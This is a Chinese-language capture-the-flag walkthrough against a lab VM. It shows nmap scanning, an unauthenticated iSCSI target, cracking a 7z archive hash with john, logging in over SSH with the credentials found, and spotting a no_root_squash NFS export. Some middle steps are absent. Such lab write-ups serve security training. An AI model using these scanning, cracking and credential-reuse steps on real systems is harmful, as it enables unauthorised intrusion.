┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:48 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00093s latency). MAC Address: 0A:00:27:00:00:06 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00051s latency). MAC Address: 08:00:27:22:14:0D (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.20 Host is up (0.00087s latency). MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.65 seconds
靶机IP:192.168.2.20
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.20 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:49 +0800 Nmap scan report for 192.168.2.20 Host is up (0.0011s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 3260/tcp open iscsi MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 16.16 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80,3260 192.168.2.20 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:49 +0800 Nmap scan report for 192.168.2.20 Host is up (0.00081s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7 (protocol 2.0) 80/tcp filtered http 3260/tcp open iscsi Synology DSM iSCSI | iscsi-info: | iqn.2026-02.nyx.shadowblocks:storage.disk1: | Address: 192.168.2.20:3260,1 |_ Authentication: NOT required MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router|storage-misc Running (JUST GUESSING): Linux 4.X|5.X|6.X|2.6.X|3.X (93%), MikroTik RouterOS 7.X (93%), Synology DiskStation Manager 5.X (85%) OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 Aggressive OS guesses: Linux 4.15 - 5.19 (93%), Linux 4.19 (93%), Linux 5.0 - 5.14 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 6.0 (92%), Linux 5.4 - 5.10 (87%), Linux 2.6.32 (87%), Linux 2.6.32 - 3.13 (87%), Linux 3.10 (87%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 106.86 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.20 Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-13 10:53 +0800 Nmap scan report for 192.168.2.20 Host is up (0.0010s latency). All 100 scanned ports on 192.168.2.20 are in ignored states. Not shown: 100 open|filtered udp ports (no-response) MAC Address: 08:00:27:1E:2A:85 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 6.05 seconds
二、iSCSI服务
端口:3260的服务是iSCSI
在计算中,iSCSI 是 Internet Small Computer Systems Interface 的缩写,是一种基于互联网协议 (IP) 的存储网络标准,用于连接数据存储设施。它通过在 TCP/IP 网络上传输 SCSI 命令,提供对存储设备的块级访问。iSCSI 用于促进通过内部网的数据传输,并管理远程存储。它可以用于在局域网 (LAN)、广域网 (WAN) 或互联网中传输数据,并可以实现位置无关的数据存储和检索。
将 7z 加密的元数据转换为 John 可以识别的格式。哈希值包含盐值和 AES 参数;John 将尝试不同的密码,直到找到正确的密码为止
1 2 3
┌──(root㉿kali)-[/recup_dir.1] └─# 7z2john f0018434.7z > hash ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
使用john进行爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kali)-[/recup_dir.1] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 256/256 AVX2 8x AES]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 6 for all loaded hashes Cost 3 (compression type) is 0 for all loaded hashes Cost 4 (data length) is 122 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status donald (f0018434.7z) 1g 0:00:00:34 DONE (2026-04-13 15:07) 0.02935g/s 30.06p/s 30.06c/s 30.06C/s marie1..bethany Use the "--show" option to display all of the cracked passwords reliably Session completed.
System: Primary Storage Node Environment: Production Access Level: Administrative
Username: lenam Password: 3vEbN3bM6NhOa1640weG
Note: This file is intended for temporary migration procedures only. It must be deleted after use. Last reviewed: 2026-02-15
获取到凭证:lenam:3vEbN3bM6NhOa1640weG
五、获取lenam权限
使用凭证成功登录
1 2 3 4 5
┌──(root㉿kali)-[~] └─# ssh lenam@192.168.2.20
lenam@shadowblocks:~$ id uid=1000(lenam) gid=1000(lenam) groups=1000(lenam),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)
lenam@shadowblocks:~$ cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /srv/nfs *(rw,sync,fsid=0,no_subtree_check,no_root_squash,insecure)